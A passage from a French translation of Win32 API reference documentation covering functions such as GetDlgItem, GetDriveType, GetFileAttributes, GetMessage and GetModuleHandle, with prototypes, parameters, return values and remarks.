La valeur en retour est le n° d'identification de la fenêtre enfant si la fonction est couronnée de succès. Si la fonction échoue, ou bien si hwnd n'est pas un Handle de fenêtre valide, alors la valeur en retour est un NULL.

Commentaires

Puisque les fenêtres de plus haut niveau n'ont pas de valeur ID, la valeur en retour de cette fonction est invalide si le paramètre hwnd identifie une fenêtre de plus haut niveau. (Une fenêtre parente qui ne possède pas un parent au dessus d'elle)


GetDlgItem

La fonction GetDlgItem retrouve l'handle d'un control appartenant à la boîte de dialogue indiquée.

HWND GetDlgItem (
HWND hDlg, // handle de la boîte de dialogue
int nIDDlgItem // n°ID du control
);

Paramètres :

hDlg

Identifie la boîte de dialogue qui contient le control.

nIDDlgItem

Indique le n°ID, du control à retrouver.

Valeurs de Retour :

Si la fonction réussit, la valeur en retour est l'handle de control donné.
Si la fonction échoue, la valeur en retour est un NULL, ce qui indique que l'handle de la boîte de dialogue est invalide ou bien que ce control n'existe pas.

Remarques :

Vous pouvez employer la fonction GetDlgItem avec n'importe quelle paire 'fenêtre enfant/fenêtre parent' (comprenez un Control qcq associé à son parent), et pas uniquement avec des boîtes de dialogue. Tant que le paramètre hDlg indique une fenêtre parente et que la fenêtre (ou objet) enfant ait un n°ID unique (comme le paramètre hMenu spécifié dans la fonction CreateWindow ou CreateWindowEx qui sert a créé une fenêtre enfant = dans ce cas un menu pour la fenêtre principale), GetDlgItem renvoie un handle valable pour la fenêtre enfant.

Voir Aussi :

CreateWindow, CreateWindowEx, GetDlgItemInt, GetDlgItemText


GetDlgItemInt (Win32)

UINT GetDlgItemInt(hwndDlg, idControl, lpfTranslated, fSigned)

HWND hwndDlg;		/* handle de la DialogBox */
int idControl;		/* identicateur de Control */
BOOL *lpfTranslated;	/* adresse du flag variable d'error */
BOOL fSigned;		/* indicateur signé ou non-signé */
La fonction GetDlgItemInt convertit le texte d'un Control appartenant à une DialogBox donnée en un nombre Entier.
Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox.
idControl 	 Est le n°ID à convertit de l'Item de la DialogBox.
lpfTranslated 	 Pointe sur une variable Booléenne qui doit recevoir le flag de conversion.
fSigned 	 Indique si la valeur à retrouvée est signée ou non. (négatif ou positif)

Retours
La valeur en retour est la valeur convertie du texte de l'item si la fonction est couronnée de succès. Du fait que le zéro est une valeur de retour valide, le paramètre lpfTranslated doit être utilisé pour détecter des erreurs. Si une application exige une valeur signée en retour, alors elle doit rejeter les valeurs en retour de type 'int' (nombre Entier).

Commentaires

La fonction retrouve le texte du Control donné en envoyant au Control un message WM_GETTEXT. La fonction convertie alors ce texte en détruisant tout espace supplémentaire au-devant du texte et des chiffres décimaux une fois convertis. La fonction arrête sa conversion une fois avois atteint la fin du texte ou avoir rencontrée un caractère non-numérique. Si le paramètre fSigned est TRUE, la fonction GetDlgItemInt vérifie qu'il y a un signe moins (-) au début du texte et converti le texte en un nombre signé. Autrement, elle crée une valeur non signée.

GetDlgItemInt retourne un zéro si le nombre converti est plus grand qu'INT_MAX (pour des nombres signés) ou UINT_MAX (pour un MOT). Lorsque des erreurs se produisent, comme la rencontre de caractères non-numériques ou qu'on a dépassé le maximum donné, GetDlgItemInt copie un zéro à l'emplacement indiqué par le paramètre lpfTranslated. S'il n'y a aucunes erreurs, lpfTranslated reçoit une valeur non nulle. Si lpfTranslated est NULL, GetDlgItemInt n'avertit d'aucune erreur. GetDlgItemInt envoie un message WM_GETTEXT au Control.

Voir Aussi

GetDlgCtrlID, GetDlgItem, GetDlgItemText, SetDlgItemInt


GetDlgItemText

La fonction GetDlgItemText retrouve le titre ou le texte associé à un control dans une boîte de dialogue.

UINT GetDlgItemText (
HWND hDlg, // handle de la boîte de dialogue.
int nIDDlgItem, // n°ID du control
LPTSTR lpString, // adresse du buffer recevant le texte
int nMaxCount // nb maximal de caractères formant la chaîne.
);

Paramètres :

hDlg

Identifie la boîte de dialogue qui contient le control en question.

nIDDlgItem

Indique le n°ID du control dont le titre ou le texte doit être retrouvé.

lpString

pointe sur le buffer pour qu'il reçoive le titre ou le texte.

nMaxCount

Spécifie le nb maximal de caractères dans la chaîne de caractère qui doit être recopiée dans le buffer indiqué par lpString. Si la longueur de la chaîne de caractère excède la limite, elle sera tronquée.

Valeurs de Retour :

Si la fonction réussit, la valeur de retour est le nombre de caractères effectivement copiés dans le buffer, (le caractère nul de terminaison n'est pas inclus).

Si la fonction échoue, la valeur en retour est zéro.

Remarques :

La fonction GetDlgItemText envoie un message WM_GETTEXT au control en question.

Voir Aussi :

GetDlgItemInt


GetDriveType (Win32)

UINT GetDriveType(lpszRootPathName)

LPTSTR lpszRootPathName;	/* Chemin root en option */
La fonction GetDriveType détermine si un lecteur : amovible(lecteur de disquettes), fixe(un Disque Dur), un CD ROM, une RAM, ou un réseau.

Paramètre 	    	Description

lpszRootPathName 	Pointe sur une chaîne de caractères terminée par un nul spécifiant le
            répertoire racine du disque dont on souhaite retrouver les informations.
            Si lpszRootPathName est NULL, la racine du répertoire actuelle est
            employée.

Retours

La valeur en retour est le type de lecteur ou ram ou réseau. Ça peut être une des valeurs
suivantes :

    Valeur 	 	 Signification

    0	 	 Le type de lecteur est indéterminé.
    1	 	 Le répertoire racine n'existe pas.
  (2)   DRIVE_REMOVABLE  Le lecteur est un lecteur de disquettes.
  (3)   DRIVE_FIXED 	 Le Disque est un Disque-Dur.
  (4)   DRIVE_REMOTE 	 Un réseau.
  (5)   DRIVE_CDROM 	 Lecteur de CD ROM.
  (6)   DRIVE_RAMDISK 	 Une mémoire RAM.

Commentaires
La fonction GetDriveType peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

GetDiskFreeSpace


GetExceptionCode (new for Win32)

DWORD GetExceptionCode(VOID)

La fonction GetExceptionCode est employée par les filtres d'exception et les Handlers pour
déterminer le type d'exception rencontrée.

Retours

La valeur en retour spécifie le type d'exception.

Voir Aussi

GetExceptionInformation


GetExceptionInformation
(new for Win32)

LPEXCEPTION_POINTERS GetExceptionInformation(VOID)

La fonction GetExceptionInformation retrouve des détails à propos d'une exception, ce qui
inclut l'état de la machine au moment de l'exception.

Retours

La valeur en retour est le pointer sur une structure EXCEPTION_POINTERS, laquelle contient des
informations à propos de l'exception la plus récente.

Commentaires

Cette fonction peut seulement être utilisée par un filtre d'exception. Cette fonction n'est pas
disponible pour un Handler d'exception (Exception Handler). Le filtre d'exception peut copier
quelques-unes ou toutes les informations à propos des exceptions pour les stocker, ainsi
l'Handler pourra y avoir accès plus tard.

Voir Aussi

GetExceptionCode, EXCEPTION_POINTERS


GetFileAttributes (new Win32)

DWORD GetFileAttributes(lpszFileName)

LPTSTR lpszFileName;	/* nom du fichier */

La fonction GetFileAttributes retourne les attributs du fichier indiqué.

Paramètre 	  Description

lpszFileName 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle est le nom
         du fichier duquel on recherche ses attributs.

Retours

Si la fonction est couronnée de succès, la valeur en retour contient les attributs du fichier
indiqué. Les attributs peuvent être une combinaison des valeurs suivantes :

Attribut 	 		Description

FILE_ATTRIBUTE_ARCHIVE 		Le fichier est une archive.
FILE_ATTRIBUTE_DIRECTORY	Le fichier est un Répertoire.
FILE_ATTRIBUTE_HIDDEN 		Le fichier est un fichier caché.
FILE_ATTRIBUTE_NORMAL 		Le fichier n'a rien de particulier.
FILE_ATTRIBUTE_READONLY		Le fichier est accessible en lecture seulement.
FILE_ATTRIBUTE_SYSTEM 		Le fichier est un fichier System (*.sys).
FILE_ATTRIBUTE_TEMPORARY	Le fichier doit être écrit uniquement si c'est  absolument
                nécessaire. La plupart des données du fichier restent en
                mémoire, parce qu'il sera bientôt supprimé.
FILE_ATTRIBUTE_ATOMIC_WRITE 	Le fichier doit être écrit employer le principe d'écriture
                atomique. Si un quelconque flux d'écriture de données se
                produit, alors tout ce qui a été écrit lors de ses opérations
                jusqu'à ce point seront écrasés, comme n'importe quelles
                structures de fichiers System. Ceci nous assure que les
                données seront retrouvable par la suite.
FILE_ATTRIBUTE_XACTION_WRITE 	Le fichier doit être écrit en employant l'écriture de
                'transaction'. Soit toutes les opérations d'écritures de la
                transaction seront écrites, soit rien ne sera écrit.
Si une erreur se produit, la valeur en retour est -1 (0xFFFFFFFF). Utilisez la fonction GetLastError pour obtenir les informations à propos de l'erreur étendue.

Commentaires

La fonction GetFileAttributes peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

SetFileAttributes, FindFirstFile, FindNextFile


GetSystemTime

GetFileTime

BOOL GetFileTime (

HANDLE hFile, 	  		 // identifie le fichier
LPFILETIME lpCreationTime, 	 // adresse de la date de création
LPFILETIME lpLastAccessTime, 	 // adresse du dernier temps d'accès (dernière lecture)
LPFILETIME lpLastWriteTime 	 // adresse de la dernière mise à jours (dernière écriture)
);
La fonction GetFileTime retrouve la date et l'heure à laquelle on a créé ,eu accès, ou modifié pour la dernière fois ce fichier.

Paramètres

hFile

Identifie les fichiers pour lesquels on veut obtenir des info à propos de leurs dates. L'handle du fichier a dû être créé avec l'accès de GENERIC_READ pour le fichier.

lpCreationTime

Pointe sur une structure FILETIME pour recevoir la date et l'heure auxquelles ce fichier a été créé. Ce paramètre peut être NULL si l'application n'exige pas cette information.

lpLastAccessTime

Pointe sur une structure FILETIME pour recevoir la date et l'heure où on a eu accès à ce fichier pour la dernière fois. Le dernier temps d'accès inclut la dernière fois où on a lu, ou écrit dans ce fichier, ou bien pour les fichiers exécutables on les a lancés. Ce paramètre peut être NULL si l'application n'exige pas cette information.

lpLastWriteTime

Pointe sur une structure FILETIME pour recevoir la date et l'heure où on a écrit pour la dernière fois dans ce fichier. Ce paramètre peut être NULL si l'application n'exige pas cette information.

Valeurs de Retour :

Si la fonction réussit, la valeur de retour est non-nulle.
Si la fonction échoue, la valeur de retour est zéro. Pour obtenir l'information à propos de l'erreur étendue, appelez GetLastError.

Remarques :

Les fichiers de type FAT et ceux de Nouvelles Technologies soutiennent comme les autres ces valeurs de temps pour la création de fichier, le dernier accès et la dernière écriture.

Windows 95 : la précision du temps pour un fichier dans un système de fichiers FAT est 2 secondes. La précision du temps pour les fichiers courants, comme ceux connectés par un réseau dépend du système de fichiers, mais peuvent aussi être limités par l'éloignement du dispositif.

Voir Aussi :

GetSystemTime


GetFileTitle (Win32)

short GetFileTitle(lpszFile, lpszTitle, cbBuf)

LPSTR lpszFile;		/* adresse du nom du fichier (ça inclus le lecteur et le chemin) */
LPSTR lpszTitle;	/* adresse du buffer recevant le nom du fichier */
WORD cbBuf;		/* taille du buffer */

La fonction GetFileTitle renvoie le titre du fichier identifié par le paramètre lpszFile.

Paramètre 	 Description

lpszFile 	 pointe sur le nom et l'emplacement d'un fichier MS-DOS.
lpszTitle 	 Est le buffer dans lequel la fonction va recopier le titre du fichier.
cbBuf 	 	 Indique la longueur (en octets), du buffer lpszTitle.

Retours

La valeur en retour est un NULL si la fonction est couronnée de succès. La valeur en retour est
un nombre négatif si le nom du fichier est invalide. La valeur en retour est un entier positif,
lequel représente la taille du buffer exigé (en octets), si le buffer lpszTitle est trop petit.

Commentaires
La fonction retourne une valeur d'erreur si le buffer indiqué par le paramètre lpszFile contient un des éléments suivants :

- Une chaîne de caractères vide.
- Une chaîne de caractères contenant un caractère de remplacement (*), une parenthèsed'ouverture ([), ou une parenthèse de fermeture (]).
- Une chaîne de caractères qui finit par un 'deux-points' (:), un slash (/), ou un antislash (\)
- Une chaîne de caractères dont la longueur est supérieure à la longueur du buffer.
- Un caractère invalide (par exemple, un caractère 'espace' ou non-imprimable à l'écran comme un 'retour ligne').
La taille du buffer exigée inclut le caractère NULL de terminaison.


GetFocus (Win32)

HWND GetFocus(VOID)

La fonction GetFocus retrouve le handle de la fenêtre possédant le Focus associée au lien
appelant.

Retours

La valeur en retour est le handle de la fenêtre possédant le Focus (la fenêtre activée)
associée au lien appelant. La valeur en retour est un NULL si le lien appelant ne contient
pas de fenêtre possédant le Focus.

Commentaires

Une valeur en retour NUL ne signifie pas qu'aucune fenêtre (active) n'existe. Mais c'est que
c'est un autre lien qui peut contenir une fenêtre possédant le Focus.

Voir Aussi

GetActiveWindow, GetCapture, SetFocus, WM_KILLFOCUS, WM_SETFOCUS


GetForegroundWindow

HWND GetForegroundWindow(void)

La fonction GetForegroundWindow renvoie le handle de la fenêtre qui se trouve au premier plan
(la fenêtre recevant actuellement les entrées clavier, donc celle qui a le focus).

Retours

La valeur en retour est le handle de la fenêtre au premier plan.

Voir Aussi

SetForegroundWindow


GetLastActivePopup (Win32)

HWND GetLastActivePopup(hwnd)

HWND hwnd;	/* handle de sa propre fenêtre */
Cette fonction détermine quelle fenêtre popup apparetenant à une fenêtre parente identifiée par le paramètre hwnd à été la dernière a avoir été activée.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre parente.

Retours
La valeur en retour identifie la fenêtre popup dernièrement active. Si il y a échec, la valeur en retour sera hwnd si aucune des conditions qui suivent n'ont été rencontrées :

La fenêtre parente elle-même identifiée par hwnd était la plus récemment active.
La fenêtre identifiée par hwnd ne possède aucune fenêtre popup.
La fenêtre identifiée par hwnd n'est pas une fenêtre de plus haut niveau (n'est pas une fenêtre parente) ou appartient à une autre fenêtre.

Voir Aussi

ShowOwnedPopups, AnyPopup


GetSystemTime

GetLocalTime

La fonction GetLocalTime retrouve la date et l'heure actuelle locale.

VOID GetLocalTime (
LPSYSTEMTIME LpSystemTime // adresse de la structure 'System Time'
);

Paramètres :

lpSystemTime

Pointe sur la structure SYSTEMTIME pour recevoir la date et l'heure actuelle locale.

Valeurs de Retour :

Cette fonction n'a aucune valeur en retour.

Voir Aussi :

GetSystemTime


GetLogicalDrives (new for Win32)

DWORD GetLogicalDrives(void)

La fonction GetLogicalDrives retourne un bitmask correspondant au lecteurs actuellement
disponibles. (Bitmask = représentation binaire de la présence des lecteurs)
Si vous avez un lecteur A: C: et D: le BitMask aura l'aspect suivant :
1 1 0 1
D C - A

Retours

La valeur en retour est un bitmask de la représentation des lecteurs actuellement disponibles.
La position du Bit 0 (du bit le moindre significatif) est le Lecteur A: , la position de bit 1
est attribuée au lecteur B: , la position du bit 2 pour le lecteur C: , et cetera.
Dans cet exemple la valeur en retour est donc 1*8+1*4+0*2+1*1=13d=Dh
EAX=0000000D

Voir Aussi

GetLogicalDriveStrings


GetLogicalDriveStrings
(new for Win32)

DWORD GetLogicalDriveStrings(cchBuffer, lpszBuffer)

DWORD cchBuffer;	/* taille du buffer */
LPTSTR lpszBuffer;	/* adresse du buffer contenant la chaîne de caractères du Lecteur */
La fonction GetLogicalDriveStrings remplit le buffer avec les chaînes de caractères représentants les lecteurs valides.

Paramètre 	 Description

cchBuffer 	 Est la taille maximale (en nb de caractères) du buffer lpszBuffer. Cette
         taille n'inclut pas le caractère nul de terminaison.
lpszBuffer 	 Pointe sur le Buffer, que la fonction remplira avec des chaînes de
         caractères terminées par un nul, un pour chaque lecteur valide et le tout
         fini lui-même par un caractère nul de terminaison supplémentaire. L'exemple
         suivant montre le contenu du buffer avec <le nul> représentant le nul de
         terminaison :

 c:\<0>d:\<0>\\server\share<0><0>

Retours
Si la fonction est couronnée de succès, la valeur en retour est la longueur (en nb de caractères) du groupe de chaînes de caractères copiées dans le buffer sans inclure le tout dernier caractère nul. Notez qu'un caractère ANSI-ASCII nul ne prend qu'un octet (de taille), et qu'un caractère Unicode nul emploie deux octets.

Si le buffer n'est pas assez grand, la valeur en retour sera plus grande que cchBuffer et sera la taille du buffer exigé pour qu'il puisse contenir toutes les chaînes de caractères représentant les lecteurs.
Si la fonction échoue, la valeur en retour est un NULL. Utilisez la fonction GetLastError pour obtenir des 'informations à propos de l'erreur étendue.

Commentaires

Chaque chaîne du buffer peut être utilisée partout où un répertoire racine est exigée, comme avec les fonctions GetDriveType et GetDiskFreeSpace.

La fonction GetLogicalDriveStrings peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

GetLogicalDrives


GetMenu

La fonction GetMenu retrouve le handle du menu associé à la fenêtre spécifiée.

HMENU GetMenu (

hWnd hWnd // handle de fenêtre
);

Paramètres

hWnd
Identifie la fenêtre dont on veut retrouver le handle de son menu.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est le handle du menu. Si la fenêtre indiquée n'a aucun menu, la valeur en retour est NULL. Si la fenêtre est une fenêtre d'enfant, la valeur de retour est indéterminé.

Voir Aussi

GetSubMenu, SetMenu


GetMenuCheckMarkDimensions (Win32)

LONG GetMenuCheckMarkDimensions(VOID)

La fonction GetMenuCheckMarkDimensions retourne les dimensions d'un bitmap du menu. Windows affiche ce bitmap à côté d'un item du menu. Avant d'appeler la fonction SetMenuItemBitmaps pour placer ce bitmap à côté d'un item, l'application doit déterminer la taille exacte du bitmap en appelant GetMenuCheckMarkDimensions.

Retours

La valeur en retour indique la hauteur et la largeur, en pixels du bitmap. Le WORD de poids fort (de eax) contient la hauteur et le WORD de poids faible contient la largeur.

Voir Aussi

SetMenuItemBitmaps


GetMenuItemCount (Win32)

HMENU hMenu; /* handle du menu */

La fonction GetMenuItemCount détermine le nombre d'items dans un Menu-Popup ou une barre de menu.

Paramètre Description

hmenu Identifie handle du menu qui doit être examiné.

Retours

La valeur en retour spécifie le nombre d'items dans le menu si la fonction est couronnée de succès. Autrement, on obtient la valeur 0*FFFFFFFFh (c'est-1).

Voir Aussi

GetMenuItemID


GetMenuItemID (Win32)

UINT GetMenuItemID(hmenu, nPos)

HMENU hmenu;	/* handle du menu	*/
int nPos;	/* position de l'item	*/
La fonction GetMenuItemID retrouve le n°ID d'un Item placé à la position indiquée dans une barre de menu ou dans un Popup-Menu donné.

Paramètre Description

hmenu Identifie la barre de menu ou le menu popup qui contient item dont le n°ID doit être retrouvé.
nPos Indique la position relative zéro-basée de l'item dont le n°ID doit être retrouvé.

Retours

La valeur en retour est le n°ID de l'item si la fonction est couronnée de succès. Si le paramètre hmenu est NULL ou si l'item indiqué invoque un popup menu, la valeur en retour est 0*FFFFFFFFh soit -1.

Voir Aussi

GetMenuItemCount


GetMenuState (Win32)

UINT GetMenuState(hmenu, uItem, fuFlags)

HMENU hmenu;	/* handle du menu	*/
UINT uItem;	/* l'item concerné dans ce menu	*/
UINT fuFlags;	/* flags du Menu*/
La fonction GetMenuState retrouve les Flags d'un Item (son état). Si le item appartient à un menu popup, cette fonction retourne également le nombre d'items dans ce menu popup.

Paramètre Description

hmenu Identifie le menu qui contient l'item dont ont recherche les Flags.
uItem Indique l'Item du menu pour lequel les Flags doivent être retrouvés, suivant les ordres du paramètre fuFlags.
fuFlags Spécifie comment le paramètre uItem sera interprété. Ce paramètre peut être une des valeurs suivantes :

Valeur Signification

MF_BYCOMMAND Le paramètre uItem représente le n°ID de l'item.
MF_BYPOSITION Le paramètre uItem représente la position zéro-basée relative de l'item. (Zéro-basée signifie de le premier Item est affublé de la position 0...)

Retours

La valeur de retour est-1 si item indiqué n'existe pas. Si le paramètre uItem identifie un item qui appartient à un menu popup, le BYTE de poids faible de EAX contient les Flags de l'item (voir la liste suivante) et le BYTE de poids fort contient le nombre d'items dans ce menu popup. Autrement, la valeur de retour est la valeur du masque (Booléenne OU), voici la liste(ce masque décrit le statut de l'item identifié par uItem) :

Valeur Signification

MF_CHECKED La marque de Contrôle (l'endroit cliquable) est placée à côté de l'item (Pour les items d'un popup-menu seulement).
MF_DISABLED L'Item est désactivé.
MF_GRAYED L'Item est désactivé et grisé.
MF_MENUBARBREAK Idem MF_MENUBREAK, à part pour les popup-menus, pour lesquels une nouvelle colonne est séparée de l'ancienne colonne par une ligne verticale.
MF_MENUBREAK L'Item est placé sur une nouvelle ligne (une barre de menu), ou dans une nouvelle colonne (pour les popup-menus) sans séparer les colonnes.
MF_SEPARATOR Ligne grise horizontale de séparation (pour les popup-menus seulement).

Voir Aussi

GetMenu, GetMenuString, GetMenuItemCount, GetMenuItemID


GetMenuString (Win32)

int GetMenuString(hmenu, idItem, lpsz, cchMax, fuFlags)

HMENU hmenu;	/* Handle du menu	*/
UINT idItem;	/* Identifie l'item	*/
LPTSTR lpsz;	/* Adresse du buffer contenant le texte	*/
int cchMax;	/* Longueur maximale de la chaîne de caractères constituant ce texte	*/
UINT fuFlags;	/* Flags de l'Item	*/

La fonction GetMenuString copie le texte d'un item dans le buffer spécifié.
Paramètre	Description

hmenu		Identifie le menu.
idItem		Identifie l'item dont on souhaite récupérer le texte, la façon dont cet item est
        identifié dépend du paramètre fuFlags.
lpsz		Pointe sur le Buffer qui va recevoir la chaîne de caractères (le texte).
cchMax		Indique le nombre maximale de caractères à copier . Si le texte (de l'Item) est
        plus long que le maximum indiqué dans cchMax, les caractères supplémentaires
        ne seront pas pris en compte et le texte sera alors tronqué.
fuFlags		Spécifie de quel manière le paramètre idItem sera interprété. Ce paramètre peut
        être une des valeurs suivantes :

        Valeur		Signification

        MF_BYCOMMAND	Le paramètre idItem représente le n° ID de l'item.
        MF_BYPOSITION	Le paramètre idItem représente la position zéro-basée relative
                de l'item. (n°0=premier Item, n°1=deuxième Item….)
Retours

La valeur en retour est le nombre de caractères copiés dans le buffer, ça n'inclue pas le caractère NULL de terminaison.

Commentaires

Le paramètre cchMax doit être de la taille 'du plus grand nombres de caractères que contient ce texte' + la taille du caractère NULL de terminaison (1 pour un caractère Windows, 2 pour un caractère Unicode).

La fonction GetMenuString peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer les caractères Windows 3.x).


GetMessage (Win32)

BOOL GetMessage (
LPMSG LPMSG, 		// adresse de la structure MSG
hWnd hWnd, 		// handle de la fenêtre
UINT wMsgFilterMin, 	// premier message
UINT wMsgFilterMax  	// dernier message
);
La fonction GetMessage retrouve un message dans la file d'attente des messages du lien appelant et le place dans la structure indiquée. Cette fonction peut retrouver des messages associés à une fenêtre ciblée ainsi que des messages de lien postés via la fonction PostThreadMessage. La fonction retrouve des messages qui sont mis en attente dans un ensemble de messages. GetMessage ne retrouve pas de messages pour les fenêtres qui appartiennent à d'autres liens ou d'autres applications.

Paramètres	  Significations

lpMsg		  Pointe sur une structure MSG laquelle reçoit l'information 'le message' qui
          était placé sur la file d'attente des messages.
hWnd		  Identifie la fenêtre pour laquelle les messages doivent être retrouvés. Une
          valeur a une signification spéciale : Si elle c'est un NULL, GetMessage
          retrouve les messages de n'importe quelle fenêtre qui appartient au lien
          appelant ainsi que d'autres messages de liens postés par le lien appelant
          grâce à PostThreadMessage.
wMsgFilterMin  	  Est un nombre entier, c'est le plus petit n° de message qui être retrouvé.
wMsgFilterMax 	  Est un nombre entier, c'est le plus grand n° de message qui être retrouvé.

Valeurs en Retour
Si la fonction retrouve un message autre que WM_QUIT, la valeur en retour est non-nulle.
Si la fonction retrouve le message WM_QUIT, la valeur en retour est zéro.
S'il y a une erreur, la valeur de retour est -1. Par exemple, la fonction échoue si hWnd est un handle invalide de fenêtre.

Remarques

Typiquement, une application utilise la valeur en retour pour déterminer s'il faut finir la boucle principale de message et sortir du programme.
La fonction GetMessage retrouve uniquement les messages qui sont associés à la fenêtre identifiée par le paramètre hWnd, ou bien à chacun de ses enfants (childs) comme ceux spécifiés par la fonction IsChild. Ils doivent en plus être dans la gamme des valeurs des messages donnés par les paramètres wMsgFilterMin et wMsgFilterMax. Si hWnd est NULL, GetMessage retrouve les messages de n'importe quelle fenêtre qui appartient au lien appelant ainsi que des messages d'autres liens postés par le lien appelant grâce à PostThreadmessage. GetMessage ne retrouve pas de messages pour les fenêtres qui appartiennent à d'autres liens, ni pour des liens autres que le lien appelant. Les messages de liens, postés par la fonction PostThreadmessage, ont un message hWnd de valeur NULL. Si wMsgFilterMin et wMsgFilterMax sont tout les deux à zéro, GetMessage renvoie tous les messages disponibles (c'est-à-dire qu'il n'y a aucun filtrage pour chercher dans une certaine gamme).

Les constants WM_KEYFIRST et WM_KEYLAST peuvent être employés comme des valeurs de filtre pour retrouver tous les messages liés à des entrées clavier; les constants WM_MOUSEFIRST et WM_MOUSELAST peuvent être employés pour retrouver tous les messages provenant de la souris. Si les paramètres wMsgFilterMin et wMsgFilterMax sont tout les deux à zéro, la fonction GetMessage renvoie tous les messages disponibles (c'est-à-dire sans exécuter aucun filtrage).
GetMessage n'enlève pas de messages WM_PAINT de la file d'attente. Les messages restent dans la file d'attente jusqu'à ne soient traités.

Notez que la valeur en retour de cette fonction peut être TRUE, False, ou -1. Donc, vous devez éviter des codes de ce genre là :

while (GetMessage( lpMsg, hWnd, 0, 0)) ...

La possibilité d'une valeur en retour de -1 signifie qu'un tel code peut mener à des erreurs fatales pour l'application.

Voir aussi

PeekMessage, WaitMessage, MSG


GetModuleHandle

La fonction GetModuleHandle renvoie le handle du module spécifié, si le fichier a été configuré (mappé) dans l'espace mémoire réservé pour le process appelé. (Par Module il faut comprendre soit le programme principal (*.exe) soit une DLL)

HMODULE GetModuleHandle (
LPCTSTR lpModuleName // adresse du module pour lequel on doit retrouver son handle
);

Paramètres

lpModuleName

Indique une chaîne de caractères terminée par un NULL, c'est le nom du module Win32 (ou d'une .DLL ou bien d'un fichier .EXE). Si l'extension du nom du fichier est omise, l'extension *.DLL qui est la bibliothèque par défaut est ajoutée. La chaîne de caractères du nom du fichier peut inclure un caractère 'point traînant' (.) pour indiquer que le nom du module n'a aucune extension. La chaîne de caractères ne doit pas spécifier un chemin. Le nom est comparé (indépendamment) aux noms des modules actuellement configurés dans l'espace d'adresse du process ainsi appelé.
Si ce paramètre est NULL, GetModuleHandle retourne l'handle du fichier qui d'habitude crée cet appel du process.

Valeurs de Retour

Si la fonction réussit, la valeur de retour est l'handle du module indiqué.
Si la fonction échoue, la valeur de retour est NULL. Pour obtenir l'information d'erreur étendue, appelez GetLastError.

Remarques

L'handle renvoyé n'est ni Global, ni duplicable, et ne peut pas hériter des caractéristiques d'un autre module. Il ne peut pas être employé par un autre process.
Les handles renvoyés par GetModuleHandle et LoadLibrary peuvent être employé pour les mêmes fonctions 3 fois sur 4,comme par exemple, GetProcAddress, FreeLibrary, ou LoadResource. La différence entre les deux fonctions implique le compte de référence. LoadLibrary 'mappe' le module dans l'espace d'adresse du process appelé, si nécessaire et incrémente le compteur de référence du module, s'il est déjà configuré. GetModuleHandle, quant à lui, renvoie l'handle d'un module configuré sans incrementer son compteur de référence.

Notez que le compteur de référence est employé dans FreeLibrary pour déterminer si la fonction est mappée dans l'espace d'adresse du process. Pour cette raison, faites attention en utilisant un handle renvoyé par GetModuleHandle dans un appel de FreeLibrary parce qu'en utilisant cette méthode, on peut faire en sorte de 'démapper'(déconfigurer, décharger) prématurément le module d'une bibliothèque de liaison dynamique (DLL).
Cette fonction doit aussi être employée soigneusement dans une application multi-liens. Il n'y a aucune garantie que le l'Handle du module reste valide entre le temps où cette fonction renvoie l'handle et le temps où il sera utilisé par une autre fonction. Par exemple, un lien peut retrouver un handle de module en appelant GetModuleHandle. Avant que le lien n'emploie l'handle dans une autre fonction, un deuxième lien peut libérer le module et le système peut passer un autre module, en donnant le même handle que celui du module qui a été récemment libéré. Le premier lien est alors inchangé avec un handle de module qui se réfère à un module différent que celui qu'on souhaitait au départ.


GetMsgProc (Win32)

LRESULT CALLBACK GetMsgProc(nCode, wParam, lParam)

int nCode;	/* flag	d'action */
WPARAM wParam;	/* indéfinit */
LPARAM lParam;	/* adresse de la structure contenant le message */
La fonction GetMsgProc est une fonction callback qu'on définit dans l'application ou une bibliothèque, laquelle est appelée par le système à chaque fois que la fonction GetMessage retrouve un message dans la file d'attente de l'application. Le système passe le message retrouvé à la fonction callback avant de le passer à la procédure de fenêtre de destination.

Paramètre 	 Description

nCode 	 	 Indique si la fonction callback doit traiter le message ou le passer à la
         fonction CallNextHookEx. Si nCode est égal à HC_ACTION, la fonction callback
         doit traiter le message. Si nCode est une valeur négative, la fonction
         callback doit passer le message à CallNextHookEx.
wParam 	 	 Spécifie si le message est envoyé par le process actuel. Cette valeur est non
         nulle si le message est envoyé par le process actuel; sinon se sera un NULL.
lParam 		 Pointe sur une structure 'MESSAGE', laquelle contient des détails du message.

Retours

La fonction callback doit retourner 0.

Commentaires
La fonction callback GetMsgProc peut examiner ou modifier le message comme il le désire. Une fois le retour de le fonction callback au système, la fonction GetMessage retourne le message, avec les modifications apportées, à l'application d'origine qui l'a appelée.
L'application doit installer la fonction callback en spécifiant le type de filtre WH_GETMESSAGE et l'adresse de la fonction callback en appelant la fonction SetWindowsHook.
GetMsgProc est un placeholder du nom de la fonction prédéfini dans la bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, GetMessage, SetWindowsHookEx


GetNextDlgGroupItem (Win32)

HWND GetNextDlgGroupItem(hwndDlg, hCtl, bPrevious)

HWND hwndDlg;	/* handle de la DialogBox */
HWND hCtl;	/* handle du Control */
BOOL bPrevious;	/* flag de direction (suivant/précédent) */
Cette fonction recherche le prochain (ou le précédent) Control dans un groupe de Control appartenant à la DialogBox identifiée par le paramètre hwndDlg. Un groupe de Controls consiste en un ou plusieurs Controls possédants le style WS_GROUP.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox étant dans laquelle est effectuée la recherche.
hCtl 	 	 Identifie le Control de la DialogBox à partir duquel débute la recherche.
bPrevious 	 Spécifie comment la fonction doit rechercher dans le groupe de Controls.
         Si le paramètre bPrevious est non-nul, la fonction recherche le Control
